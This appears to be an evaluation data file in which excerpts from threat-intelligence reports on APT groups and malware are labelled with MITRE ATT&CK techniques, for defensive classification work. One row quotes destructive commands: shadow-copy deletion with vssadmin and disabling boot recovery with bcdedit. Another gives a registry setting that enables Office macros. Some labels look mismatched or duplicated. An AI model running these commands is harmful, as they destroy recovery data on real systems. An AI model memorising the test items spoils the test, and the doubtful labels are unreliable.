"The Gamaredon group has been active since at least 2013. Outlook VBA module . The Gamaredon group uses a package that includes a custom Microsoft Outlook Visual Basic for Applications (VBA) project. The most prevalent tools downloaded and installed on compromised machines can be broadly grouped into two different categories: downloaders and backdoors. C# compiler module . This .NET executable, similar to many other tools used by the Gamaredon group, uses obfuscation techniques such as junk code insertion and string obfuscation. As with many other tools used by the Gamaredon group, they come in four different coding languages: C/C++, C#, batch file and VBScript. It also has the ability to download and execute arbitrary code from its C&amp;C server. C# backdoor thread creation routine . Batch file/VBScript . This version comprises several scripts, written in both batch file form and VBScript. Network infrastructure . The Gamaredon group uses many different domains, both free and paid, for its C&amp;C servers. Quality of execution . We were able to collect numerous different samples of malicious scripts, executables and documents used by the Gamaredon group throughout their campaigns. Indicators of Compromise (IoCs) . MITRE ATT&amp;CK techniques . 11 Jun 2020 - 11:30AM . Newsletter . Newsletter . Similar Articles . ESET Research . Watering hole deploys new macOS malware, DazzleSpy, in Asia . Virus Bulletin: Old malware never dies – it just gets more targeted . Anatomy of native IIS malware . Some URL shortener services distribute Android malware, including banking or SMS trojans . Discussion . - Home - About Us - Contact Us - Sitemap - Our Experts - ESET - Research - How To - Categories - RSS Configurator - News Widget",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
"Aside from finding the malicious documents, the Advanced Threat Research team discovered a Win32-based executable dropper. This dropper uses a stolen digital signature from Adobe Systems. This certificate is also used by another Korean-language malware compiled January 16 (hash: 35904f482d37f5ce6034d6042bae207418e450f4) with an interesting program database (PDB) path",['T1553.002 - Code Signing'],eval_config
"Analysis of several backdoors identified in this recent operation revealed that Turla has relied on traditional C&amp;C implementations, using compromised web servers as C&amp;C, as well as utilizing legitimate web services like Pastebin. Additionally, one analyzed sample of Kazuar is configured for commands sent through likely internal nodes in the government's network, while others use the more traditional method of external C&amp;C nodes. Varying the C&amp;C ensures multiple avenues of recovery into the network if some of the group’s accesses are found and remediated against by network defenders",['T1090.001 - Proxy: Internal Proxy'],eval_config
"At first, this command runs vssadmin.exe to delete all volume shadow copies on the system to prevent recovery (Inhibit System Recovery, ATT&amp;CK T1490) vssadmin.exe Delete Shadows /All /Quiet - Then, it uses bcdedit.exe twice to disable automatic Windows recovery features by modifying boot configuration data (Inhibit System Recovery, ATT&amp;CK T1490) bcdedit /set {default} recoveryenabled No bcdedit /set {default} bootstatuspolicy ignoreallfailures","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1490 - Inhibit System Recovery']",eval_config
"In the case of 32-bit systems, the malware may attempt a known UAC bypass by launching printui.exe system process and using token manipulation with NtFilterToken as described in this blog post",['T1134.001 - Access Token Manipulation: Token Impersonation/Theft'],eval_config
"Egregor will only begin encrypting files once a command is sent by it's operators, presumably when they are satisfied with the information it has extracted. All non-system files are then encrypted using a hybrid AES-RSA implementation, before a ransom note is dropped on the desktop. Some Egregor variants will also attempt to display the ransom note on connected peripherals such as screens or printers",['T1486 - Data Encrypted for Impact'],eval_config
"The malicious Word file is the beginning of the infection chain and acts as a dropper for two DLL files. The Word file contains malicious Visual Basic macro code that runs when the document is opened in Word using the Document_Open() autoload function. The word file also contains a Base64-encoded file (encoded with a custom key) in it that is read, decoded, and dropped to the disk by the macro",['T1140 - Deobfuscate/Decode Files or Information'],eval_config
"In these campaigns, the most common infection vector is via Microsoft Word documents embedded with malicious macro code. The contents of the documents are in English and German depending on the target",['T1204.002 - User Execution: Malicious File'],eval_config
"First, the malware checks for the existence of a Mutex value, “EKANS”, on the victim. Primary functionality on victim systems is achieved via Windows Management Interface (WMI) calls, which begins executing encryption operations and removes Volume Shadow Copy backups on the victim",['T1490 - Inhibit System Recovery'],eval_config
"The command line is then parsed to extract individual arguments, and SUNSPOT looks for the directory path of the Orion software Visual Studio solution",['T1083 - File and Directory Discovery'],eval_config
"Each backdoor has a different token that is encrypted in the registry. If the incoming traffic contains a token and is in the HTTP format, the backdoor will intercept the traffic and process the command. In the version that we’ve analyzed, the installer writes the token in the registry key. We can’t trigger the backdoor without a current token, which makes the backdoor more difficult to find and analyze","['T1112 - Modify Registry', 'T1205 - Traffic Signaling']",eval_config
"The threat group monitors its Dropbox account for responses from compromised computers. Once the LOWBALL malware calls back to the Dropbox account, the attackers will create a file called “[COMPUTER_NAME]_upload.bat” which contains commands to be executed on the compromised computer. This batch file is then executed on the target computer, with the results uploaded to the attackers’ Dropbox account in a file named “[COMPUTER_NAME]_download",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
"In this campaign, the group sent spear phishing emails containing malicious documents that led to the installation of the UPPERCUT backdoor. Attack Overview . The attack starts with Microsoft Word documents containing a malicious VBA macro being attached to spear phishing emails. Figure 2: Macro to display lure document . The initial Word documents were password protected, likely in an effort to bypass detection. Once the password (delivered in the body of the email) is entered, the users are presented with a document that will request users to enable the malicious macro, as shown in Figure 3. Figure 3: Lure document . Figure 4 shows what happens when the malicious macro is executed. The macro decodes the dropped files using Windows certutil.exe with the following commands (certutil.exe is a legitimate built-in command-line program to manage certificates in Windows): 3. The version used here is version 4.1 digitally signed by Notepad++, as shown in Figure 5. The macro deletes the initially dropped .txt files using Windows esentutl.exe and changes the document text to an embedded message. However, in the latest version, the keys are hard-coded uniquely for each C2 address and use the C2’s calculated MD5 hash to determine which key to use, as shown in Figure 10. To mitigate the threat, users are advised to disable Office macros in their settings and not to open documents from unknown sources","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",eval_config
The group also uses the all.bat batch script to collect all files stored on a specific user's desktop. CTU researchers observed RCSession and Cobalt Strike on systems that BRONZE PRESIDENT targeted for data theft. Either of these tools could have been used to exfiltrate the archived data,['T1074.001 - Data Staged: Local Data Staging'],eval_config
"REvil checks the Software\recfg registry key for the presence of the rnd_ext value. This value contains the random extension generated at runtime that is appended to encrypted files. If this registry value does not exist, the malware generates a random string of lowercase letters (a-z) and numbers (0-9) ranging from five to ten characters in length (inclusive) and preceded by a period (e.g. 9781xsd4). This string is assigned to the rnd_ext value within the recfg registry subkey",['T1012 - Query Registry'],eval_config
"PUNCHBUGGY is a dynamic-link library (DLL) downloader, existing in both 32-bit and 64-bit versions, that can obtain additional code over HTTPS. This downloader was used by the threat actor to interact with compromised systems and move laterally across victim environments",['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
"Confucius has a miscellany of backdoors: sctrls, ByeBye Shell, remote-access-c3, and sip_telephone, to name a few. One of its file stealers, swissknife2, abuses a cloud storage service as a repository of exfiltrated files. At the time of research, there were around 60 victims whose data were uploaded to Confucius-owned cloud storage account. There were also a few thousand files in the account that were later deleted",['T1583.006 - Web Services'],eval_config
The data theft procedure lists all files stored on the device and copies those with an extension matching a predefined list,['T1083 - File and Directory Discovery'],eval_config
Leveraging Hyperhost VPS and Proton VPN exit nodes to access webshells on internet-facing systems. Receiving C2 instructions from user profiles created by the adversary on legitimate websites/forums such as Github and Microsoft's TechNet portal,['T1102.003 - One-Way Communication'],eval_config
"It is worth noting that the RC2FM module uses a number of encryption methods (variations of a simple XOR encryption routine), unlike the other InvisiMole parts",['T1573.001 - Symmetric Cryptography'],eval_config
The initial VBScript will then create a scheduled task (T1053) to persistently run the secondary VBScript every minute by running the following command,['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
"We identified new MSIL components deployed by Zebrocy. While recent Zebrocy versioning was 7.1, some of the related Zebrocy modules that drop file-stealing MSIL modules we call Covfacy were v7.0. For example, one sent out to a handful of countries identifies network drives when they are added to target systems, and then RC4-like-encrypts and writes certain file metadata and contents to a local path for later exfiltration",['T1135 - Network Share Discovery'],eval_config
"The dropped executable mpsvc.dll, although containing a large quantity of unique code, was genetically similar to exile-RAT and keyboy; both are RATs Pirate Panda deploys. It is likely that the threat actors modified and developed the code since it was last used. The dll has a compilation date of 22 April 2020, which is two days after the c2 domain was registered, and the phishing email was sent on 27 April 2020. exile-RAT has been observed using the same DLL Sideloading technique, using a legitimate security product to load a malicious dll. In this instance, Windows Defender is being used",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],eval_config
"The ""jmpUrlList"" provides the initial C&amp;C servers, which are used to determine the secondary C&amp;C server as well as additional commands to execute. We have observed attacker-controlled web servers, compromised victim web servers, and Technet and Pastebin web pages used for the initial C&amp;C",['T1102.002 - Bidirectional Communication'],eval_config
"The VBA macro code in the XLS file be3f12b. differed somewhat from that of the samples of the previous years. Once the font colour was changed, the “setup” batch code component as per previous variants, and the new Visual Basic Script (VBS) downloader component were revealed in columns AA and AB, respectively, as shown in figure 5 below",['T1137.001 - Office Application Startup: Office Template Macros.'],eval_config
Overwrite file with garbage data (used in this version and the samples we analyzed) - Overwrite with a file (used in Shamoon Versions 1 and 2) - Encrypt the files and master boot record (not used in this version,['T1485 - Data Destruction'],eval_config
"After attempting to bypass the UAC, the third-stage DLL will check if `AutoRunKeyFlag` is set. For this DLL, it is not set. It will then jump to code that decrypts the Lokibot executable using decryption keys from the configuration structure. The first two layers are decrypted using `DecryptionKeyA` and `DecryptionKeyB`, and reverses all the data. After that, the final layer is decrypted using the same decryption method used to decrypt resource data at the start of the third stage.The DLL contains multiple ways to execute a PE file. The shellcode will create a suspended process using the third parameter as a command line command and injects Lokibot into it using process hollowing",['T1140 - Deobfuscate/Decode Files or Information'],eval_config
"For this campaign, the threat actors registered at least 20 new domains targeting over 60 universities in Australia, the United States, the United Kingdom, Canada, Hong Kong, and Switzerland. These domains were registered using the Freenom domain provider, which administers the following free top-level domains (TLDs) unless the domain is considered ""special",['T1583.001 - Domains'],eval_config
"The remote XSL script downloads twelve files from the C2 server that masquerade themselves as JPEG, GIF, and extensionless files. The r1.log file stores information for exfiltration. A thorough explanation of what information is collected can be found in a breakdown by Cofense from late 2018",['T1041 - Exfiltration Over C2 Channel'],eval_config
"The SP variable is a string containing the victim's username. When the malicious ISAPI filter captures a username matching this variable, it knows to handle the incoming HTTP request as a command to the web shell",['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
"The code receives a binary blob official M.E.Doc server, decrypts it using the Triple DES algorithm, and, afterwards, decompresses it using GZip. This remote control feature makes the backdoor a fully-featured cyberespionage and cybersabotage platform at the same time",['T1140 - Deobfuscate/Decode Files or Information'],eval_config
"We have seen how the attackers are implementing different techniques to bypass two-factor authentication with smartcard/PIN to access protected resources on the victimʼs network. By capturing the PIN for the smartcard and binding the certificate, malware can silently use the card to authenticate to secure resources, so long as the card remains physically present in the card reader",['T1111 - Multi-Factor Authentication Interception'],eval_config
"Gather the names of all services running on the system. Gather a list of the names of all processes running on the endpoint. Gather the list of all files names listed in the Recent Items folder i.e. Appdata%\Microsoft\Windows\Recent"". - Gather all names of files listed in the Desktop folder of the current user. Gather names of all files and programs listed in the Taskbar i.e. AppData%\Microsoft\Internet Explorer\Quick Launch\User Pinned\Taskbar"". - Get the bitness of the Operating System : ""x86"" or ""x64"". - Get Username, OS name and version,. NET Framework version. The instrumentor script also enables all macros for Office by setting the VBAWarnings registry value to 0x1 at: HKCU\Software\Microsoft\Office\&lt;OfficeVersionNumber&gt;.0\Word\Security\VBAWarnings = 0x1",['T1007 - System Service Discovery'],eval_config
"The main purpose of this utility is to retrieve the RPC configuration of a process that has registered an interface. Once this PID is found, this utility reads the remote process’ memory and tries to retrieve the registered RPC interface","['T1057 - Process Discovery', 'T1016 - System Network Configuration Discovery']",eval_config
"It is worth noting that the administrators could connect both to the corporate and the restricted network segments to maintain systems and provide users with technical support in both zones. As a result, by gaining control of administrator workstations the attackers were able to access the restricted network segment",['T1078 - Valid Accounts'],eval_config
"This .NET executable, similar to many other tools used by the Gamaredon group, uses obfuscation techniques such as junk code insertion and string obfuscation. It contains in its body the base64-encoded source code of a downloader. It decodes that source code and compiles it directly on the system using the built-in Microsoft.CSharp.CSharpCodeProvider class. As can be seen in Figure 6, the decoded source code still has comments in it, illustrating the apparent sloppiness of Gamaredon’s operators","['T1140 - Deobfuscate/Decode Files or Information', 'T1027.004 - Obfuscated Files or Information: Compile After Delivery']",eval_config
One of the distribution method of Bad Rabbit is via drive-by download. Some popular websites are compromised and have JavaScript injected in their HTML body or in one of their .js files,['T1189 - Drive-by Compromise'],eval_config
"First, until it is clear that it no longer poses a risk, block updates for MEDoc, the Ukrainian accounting software which has exploded into the public consciousness in the past two days as the likely source of infection. Specifically, the domain upd . me-doc . com . ua and its associated IP address 92 . 60 . 184 . 55, have been identified as the distribution point for MEDoc software updates",['T1195.002 - Compromise Software Supply Chain'],eval_config
"RoyalCli and BS2005 both communicate with the attacker’s command and control (C2) through Internet Explorer (IE) by using the COM interface IWebBrowser2. Due to the nature of the technique, this results in C2 data being cached to disk by the IE process; we’ll get to this later",['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
"For non-email accounts, the operator validated credentials no matter how trivial seeming the website may have been. The operators appear to have been meticulously gathering trivial social information about the individuals. In total, the operator attempted to validate credentials for at least 75 different websites across the two individuals",['T1589.001 - Credentials'],eval_config
The connection to one of the hosts is then started over raw TCP on port 9999,['T1571 - Non-Standard Port'],eval_config
"This bundle of malicious code starts out with a VBScript that first kills the Outlook process if it is running, and then removes security around VBA macro execution in Outlook by changing registry values. It also saves to disk the malicious OTM file (Outlook VBA project) that contains a macro, the malicious email attachment and, in some cases, a list of recipients that the emails should be sent to",['T1112 - Modify Registry'],eval_config
"Display and manipulate extended attributes. Used by malware and threat actors as a means to bypass Gatekeeper and Notarization checks on macOS. Incredibly, any process or user can remove the file attribute that is required for these checks to proceed without admin rights",['T1553.001 - Subvert Trust Controls: Gatekeeper Bypass'],eval_config
"HOLMIUM has likely been running cloud-based attacks with Ruler since 2018, but a notable wave of such attacks was observed in the first half of 2019. These attacks combined the outcome of continuous password spray activities against multiple organizations, followed by successful compromise of Office 365 accounts and the use of Ruler in short sequences to gain control of endpoints. This wave of attacks was the subject of a warning from US Cybercom in July 2019",['T1078.004 - Valid Accounts: Cloud Accounts'],eval_config
"In observed traffic, the C2 server employs steganography to hide data within HTTP response bodies and attempts to appear as benign XML related to .NET assemblies. Command data is spread across many GUID and hexadecimal strings",['T1001.002 - Data Obfuscation via Steganography'],eval_config
"If running as non-root, it persists as a launch agent: ~/Library/LaunchAgents/com.apple.questd.plist. Below we dump that arguments passed to the install_daemon …first, when the malware is installing itself as a launch agent",['T1543.004 - Create or Modify System Process: Launch Daemon'],eval_config
"SpeakUp uses POST and GET requests over HTTP to communicate with its main C&amp;C which is the compromised website of speakupomaha[.]com. The first POST packet sends a victim ID and more introductory information such as the current version of the installed script. Afterwards, the Trojan posts “full information” about the machine by executing the following LINUX commands",['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
"The malware also configures the system to load coinmining software on the system. This software is made to look like an XMRig-type coinminer, which is used to mine Monero. In fact, though, it loads a coinminer that mines Koto, a lesser-known cryptocurrency that is associated with Japan",['T1496 - Resource Hijacking'],eval_config
This will extract the files to %APPDATA%\\Drivers and then run the Windows Batch file 34679.cmd in a hidden console. The use of the hidcon (hidden console) prefix followed by a four-five digit filename with a cmd extension is observed in the majority of our tracked samples during this time period,['T1564.003 - Hide Artifacts: Hidden Window'],eval_config
One APT31 campaign was based on emailing links that would ultimately download malware hosted on GitHub. The malware was a python-based implant using Dropbox for command and control. It would allow the attacker to upload and download files as well as execute arbitrary commands,['T1102.002 - Bidirectional Communication'],eval_config
"Sowbug frequently maintains a long-term presence on the networks of targeted organizations, sometimes remaining inside a victim environment for up to six months. One of the tactics it uses to avoid drawing attention to itself is impersonating commonly used software packages such as Windows or Adobe Reader. It has never attempted to compromise the software itself. Rather, it gives its tools file names similar to those used by the software and places them in directory trees that could be mistaken for those used by the legitimate software",['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
"RAR) included deleted items in Accessed Files STEALTHYATTACKER FUN FACT: Now it’s built-in. All rights reserved.24 Our Response: Increased PowerShell Visibility • Upgraded the environment to PowerShell 3.0 and enabled logging • Logging captured input/output, variable initialization, etc. Wrote indicators based on observed attacker activity • Identified lateral movement, unique backdoors, credential theft, data theft, recon, persistence creation, etc. All rights reserved.29 BONUS SLIDE: Even More WMI + PS FUN FACT: We saw the attacker test this backdoor before deployment 30) 30. All rights reserved.32 BONUS SLIDE: TOR backdoor (just because it’s cool) 33) 34) 34",['T1090.003 - Proxy: Multi-hop Proxy'],eval_config
"When the copied file gets executed, it creates the Imminent directory in the %AppData% directory to save the encrypted log, network information and system information. The file will be uploaded to C2 when related command is received",['T1041 - Exfiltration Over C2 Channel'],eval_config
"The payload does not have a command handler. Rather, it will process the JSON object within the C2’s response for applications to open and/or command line commands to run by calling the CreateProcessW API function. For instance, the decrypted response in Figure 9 contains a JSON object would instruct the payload to run “c:\windows\system32\cmd.exe” using the command line argument “/c whoami”, which effectively runs the “whoami” command",['T1033 - System Owner/User Discovery'],eval_config
The next step in the execution cycle involves establishing a secure session key between GoldMax and its C2 server. GoldMax first requests a session key from its C2 server by sending an HTTP GET request that contains a custom HTTP Cookie value that is unique to each implant. The Cookie value is comprised of the following dynamically generated and hardcoded values,['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
"This adversary starts with obtaining usernames and passwords of their victim from previous breaches. These credentials are used in a credential stuffing or password spraying attack against the victim’s remote services, such as webmail or other internet reachable mail services. After obtaining a valid account, they use this account to access the victim’s VPN, Citrix or another remote service that allows access to the network of the victim. Information regarding these remotes services is taken from the mailbox, cloud drive, or other cloud resources accessible by the compromised account. As soon as they have a foothold on a system (also known as patient zero or index case), they check the permissions of the account on that system, and attempt to obtain a list of accounts with administrator privileges. With this list of administrator-accounts, the adversary performs another password spraying attack until a valid admin account is compromised. With this valid admin account, a Cobalt Strike beacon is loaded into memory of patient zero. From here on the adversary stops using the victim’s remote service to access the victim’s network, and starts using the Cobalt Strike beacon for remote access and command and control","['T1110.004 - Brute Force: Credential Stuffing', 'T1110.003 - Brute Force: Password Spraying']",eval_config
"Spreading across the network: Conti is not satisfied with causing damage to just the infected machines. Instead, it spreads in the network via SMB and encrypts files on remote machines as well",['T1080 - Taint Shared Content'],eval_config
"Visitors to sites exploited by Emissary Panda are directed by code embedded in the sites to a malicious webpage, which screens their IP address. If the address falls within ranges that the attackers are interested in, the malicious site waits for their next page view to drop an exploit on the desirable target's PC. There has also been at least one victim targeted by a spear-phishing attack. A variety of malware, including the PlugX tool, was shared with other known Chinese threat groups",['T1608.004 - Drive-by Target'],eval_config
"It then uses the ""offset_toPayload"" value as an offset that it will read 283160 (45218h) bytes from the XLS file. The shellcode then enters a decryption loop to convert the embedded payload from ciphertext to cleartext. The algorithm uses the length of the ciphertext negated as the initial encryption key, which it bit rotates right by 1 to adjust the key for each of decryption. It will use this key to decrypt four bytes of the ciphertext with the XOR operation until all the ciphertext is decrypted. During each iteration of the decryption process, the algorithm will check to make sure the four bytes of ciphertext are not equal to the key or equal to zero before decrypting the ciphertext. The following table contains the first five rounds of the algorithm to explain the decryption process",['T1140 - Deobfuscate/Decode Files or Information'],eval_config
"The files have names that resemble legitimate Windows file and directory names, once again demonstrating how the attackers attempted to blend in the environment and hide in plain sight","['T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1036.005 - Masquerading: Match Legitimate Name or Location']",eval_config
"Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - RarStar — This custom tool uploads RAR archives to a specified URL as POST data (see Figure 6). RarStar encodes the POST data using Base64 and a custom XOR algorithm. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Use malware to upload the large list of enumerated files to the C2 server. Use downloaders or other malware to send the new list to a compromised host. Use archiving software to collect files in a password-protected archive. Use an uploader or other malware to send the archived files to an attacker-controlled server. When exfiltration is complete, the uploader (or Datper or xxmm) immediately uses the del command to delete the RAR archives. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity",['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
SolarWinds.Orion.Core.BusinessLayer.dll is a SolarWinds digitally-signed component of the Orion software framework that contains a backdoor that communicates via HTTP to third party servers. We are tracking the trojanized version of this SolarWinds Orion plug-in as SUNBURST,"['T1553.002 - Code Signing', 'T1071.001 - Application Layer Protocol: Web Protocols']",eval_config
The executable dispci.exe appears to be derived from the code base of the legitimate utility DiskCryptor. It acts as the disk encryption module which also installs the modified bootloader and prevents the normal boot-up process of the infected machine,['T1495 - Firmware Corruption'],eval_config
"The script will send the specified number of DNS queries using the following format, each of which the C2 will respond with an IPv6 address that the script will treat as a string of data: www. The data field within the message is a string of custom base64 encoded data that the malware decodes using the same custom base64 routine mentioned earlier and decrypts it using AES and the pre-shared key. Also, the x command will delete the generated registry key and the Office365DCOMCheck/SystemDiskClean scheduled task",['T1140 - Deobfuscate/Decode Files or Information'],eval_config
"In terms of communication between victims and C&amp;Cs, TrickBot update responses seem to have been digitally signed using bcrypt, potentially in an effort to impede future takedowns. This particular improvement ensures that each new update for TrickBot is legitimate. This particular behavior was observed for the 2000016 version, but not for the 100003 version",['T1573.001 - Symmetric Cryptography'],eval_config
"The first, prefixed with a file:// protocol handler, is indicative of an attempt to coax the operating system to send sensitive NTLMv2 material to the specified actor-controlled IP address over port 445",['T1187 - Forced Authentication'],eval_config
1) Web Shells 2) A modified version of the China Chopper web shell was used for initial compromise. 3) Custom-built web shells were used for later phases of the attack. 7) WMI and PowerShell commands were used for various tasks. 8) RAT 9) PoisonIvy was used to maintain access across the compromised assets. 10) PlugX was used in some of the instances that we're aware of. 11) Credential Dumpers 12) A modified version of Mimikatz was used to dump credentials stored on the compromised machines. 13) A PowerShell-based Mimikatz was also used to dump credentials stored on the compromised machines. 14) Lateral movement 15) WMI was used for lateral movement. 16) PsExec was also used for lateral movement. 19) Compression tool 20) Winrar was used to compress and password-protect stolen data,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
"OverWatch threat hunters observed the threat actor performing multiple connectivity checks via DNS lookups for a subdomain under dns[.]1433[.]eu[.]org, executed under the Apache Tomcat service running on the VMware Horizon instance",['T1595.002 - Vulnerability Scanning'],eval_config
"1) It uses the application programming interface (API) CreateFileA to \\.\PHYSICALDRIVE0 to retrieve the handle of the hard disk. 2) It overwrites the first sector of the disk (512 bytes) with ""0x00"". The first sector is the disk’s MBR. 3) It will try to perform the routines above (steps 1-2) on \\.\PHYSICALDRIVE1, \\.\PHYSICALDRIVE2, \\.\PHYSICALDRIVE3, and so on, as long as a hard disk is available. 4) It will then force the machine to shut down via the API ExitWindows",['T1106 - Native API'],eval_config
"Process name, service name, and driver path listings are obtained, and each value is hashed via the FNV-1a + XOR algorithm as described previously and checked against hardcoded blocklists. Some of these hashes have been brute force reversed as part of this analysis, showing that these routines are scanning for analysis tools and antivirus engine components. Blocklisted services are stopped by setting their HKLM\SYSTEM\CurrentControlSet\services\&lt;service_name&gt;\Start registry entries to value 4 for disabled. Some entries in the service list if found on the system may affect the DGA algorithms behavior in terms of the values generated. The list of stopped services is then bit-packed into the ReportWatcherPostpone key of the appSettings entry for the samples’ config file. If any service was transitioned to disabled the Update method exits and retries later. The sample retrieves a driver listing via the WMI query Select * From Win32_SystemDriver",['T1007 - System Service Discovery'],eval_config
"For the Neoichor family, the malware checks for internet connectivity by contacting bing.com with the request format bing.com",['T1016.001 - System Network Configuration Discovery: Internet Connection Discovery'],eval_config
"If a message is larger than 150 bytes, it is compressed with an unidentified algorithm. If a message is larger than 4096 bytes, it is broken into compressed chunks",['T1030 - Data Transfer Size Limits'],eval_config
"In this campaign, Lazarus conducted spear phishing attacks weaponized with malicious documents that use their known job opportunities theme. We identified two decoy documents masquerading as American global security and aerospace giant Lockheed Martin",['T1083 - File and Directory Discovery'],eval_config
"The ROKRAT author implements several techniques typically seen to frustrate human analysts and avoid sandbox execution. First, the malware does not run on Windows XP systems. It uses the GetVersion() API to get the OS version. The code used to perform this task: The malware checks the process names in use on the victim machine. It compares if the executed process name matches a partial name hardcoded in the sample",['T1082 - System Information Discovery'],eval_config
"Execute a binary on the system using cmd.exe and log the results into a temp file, which is then read and the logged results are sent to the control server. The command line",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
"192 file extensions Comparing file extension. The wiper will overwrite the content of each file with 1MB worth of 0xCC bytes and rename them by appending each filename with a random four-byte extension. Wiping the file. After the wiping process completes, it performs a delayed command execution using Ping to delete ""InstallerUtil.exe"" from the %TEMP% directory. Finally, it attempts to flush all file buffers to disk and stop all running processes (including itself) by calling ExitWindowsEx Windows API with EWX_SHUTDOWN flag",['T1106 - Native API'],eval_config
"Confucius has a miscellany of backdoors: sctrls, ByeBye Shell, remote-access-c3, and sip_telephone, to name a few. One of its file stealers, swissknife2, abuses a cloud storage service as a repository of exfiltrated files. At the time of research, there were around 60 victims whose data were uploaded to Confucius-owned cloud storage account",['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],eval_config
"Code signing certificates issued to fake companies, disabling security software, taking over domain controllers and living-off-the-land (LotL) tactics — MegaCortex targets company networks and continues to evolve its code to adapt",['T1588.003 - Code Signing Certificates'],eval_config
"It then calls a function called ""SetLog2"", which sets variables for the system's IP address, MAC address and hostname. The code will gather some information about the system, specifically the local IP address, MAC address, and the external IP address of the system. The code obtains the external IP address via an HTTP request using to “http://checkip.dyndns.org/” and uses a regular expression to locate an IP address from the HTTP response",['T1016 - System Network Configuration Discovery'],eval_config
"After the installation routine, Cardinal RAT will inject itself into a newly spawned process. It will attempt to use one of the following installed executables for the newly spawned process",['T1055 - Process Injection'],eval_config
"Among these variables we can spot the credentials of a user named ‘sftp’, including its hardcoded password. This user seems to be created as a means to provide initial persistence to the compromised system",['T1136.001 - Create Account: Local Account'],eval_config
"The “3.exe” is a legitimate executable and it is signed by “ESET, spol. and it is being abused for DLL hijacking technique to execute http_dll.dll which decodes and loads the malicious payload http_dll.dat",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],eval_config
"The threat actor made some modifications to the original source code of hTran. Many strings, including the debug messages, were intentionally changed and obfuscated in an attempt to evade detection and thwart efforts to identify the malware by antivirus and researchers",['T1027 - Obfuscated Files or Information'],eval_config
"After the beginning of the first while loop, the backdoor registers itself at the C2 server. It is going through the list of C2 servers stored in its registry configuration parameter until it finds one responding. The hosts are stored in the aforementioned ""Hosts"" registry key in the format &lt;IP Address Host1&gt; &lt;TcpPort&gt; &lt;IP Address Host2&gt; &lt;TcpPort&gt; &lt;IP Address Host3&gt; &lt;TcpPort&gt;, etc",['T1008 - Fallback Channels'],eval_config
"MESSAGETAP is a 64-bit ELF data miner initially loaded by an installation script. Once installed, the malware checks for the existence of two files: keyword_parm.txt and parm.txt and attempts to read the configuration files every 30 seconds. If either exist, the contents are read and XOR decoded with the string","['T1140 - Deobfuscate/Decode Files or Information', 'T1083 - File and Directory Discovery']",eval_config
Xbash hard-coded a bunch of domain names as its C2 servers. It also fetches a webpage hosted on Pastebin (listed in the IOCs) to update the C2 domain list. Some of these C2 domains are reused from previous Windows coinminers attributed to Iron cybercrime group,['T1102.001 - Dead Drop Resolver'],eval_config
"GoldMax is equipped with a decoy network traffic generation feature that allows it to surround its malicious network traffic with seemingly benign traffic. This feature is meant to make distinguishing between malicious and benign traffic more challenging. If the decoy network traffic feature is enabled (set to ‘1’ in the configuration data), GoldMax issues a pseudo-random number of decoy HTTP GET requests (up to four) for URLs pointing to a mixture of legitimate and C2 domain names and/or IP addresses",['T1001.001 - Junk Data'],eval_config
"These binaries also exhibit features that rely on data from the compromised host to inform encryption of the next stage. PowerPunch also provides an excellent example of this. In the following code snippet, the VolumeSerialNumber of the host serves as the basis for a multibyte XOR key. The key is applied to an executable payload downloaded directly from adversary infrastructure, allowing for an encryption key unique to the target host (highlighted variables names were changed for clarity",['T1480.001 - Environmental Keying'],eval_config
"1) Federation TrustsMicrosoft has observed the actor adding new federation trusts to an existing tenant or modifying the properties of an existing federation trust to accept tokens signed with actor-owned certificates. 2) Microsoft has observed the actor adding new federation trusts to an existing tenant or modifying the properties of an existing federation trust to accept tokens signed with actor-owned certificates. Examples include mail archiving applications. Permissions are usually, but not always, AppOnly.The actor may use their administrator privileges to grant additional permissions to the target Application or Service Principal (e.g. Examples include mail archiving applications. Permissions are usually, but not always, AppOnly. 5) The actor may use their administrator privileges to grant additional permissions to the target Application or Service Principal (e.g. Mail.Read, Mail.ReadWrite",['T1098.002 - Account Manipulation: Additional Email Delegate Permissions'],eval_config
Doki is a backdoor for Linux which function is to execute code received from its operators. The malware utilizes the DynDNS service and a unique Domain Generation Algorithm (DGA) based on the Dogecoin cryptocurrency blockchain in order to find the domain of its C2 in real time,['T1568.002 - Domain Generation Algorithms'],eval_config
"The macros in the documents convert an embedded executable from hexadecimal and write it to the “Public” folder as “update.exe”. Afterwards, the payload gets copied to the “Startup” directory under the name “svehost.exe” to ensure it automatically runs when the system is started",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
"Until the end of 2016, PlugX payloads were delivered as RAR SFX archives and used one of the usual sideload executables such as fsguidll.exe. ZeroT sets up the persistence for these samples, adding a new service to run PlugX during system startup (Fig 17",['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
"When the AD FS server receives an HTTP POST request containing the URI pattern /adfs/services/trust/2005/samlmixed/upload, the backdoor treats the obfuscated and compressed POST data as either .NET assembly or source code. If assembly, the backdoor executes the assembly in the execution context of the AD FS process. If source code, the backdoor dynamically compiles the source code and proceeds to execute the resulting memory-resident assembly in the execution context of the AD FS process","['T1552.004 - Unsecured Credentials: Private Keys', 'T1027.004 - Obfuscated Files or Information: Compile After Delivery']",eval_config
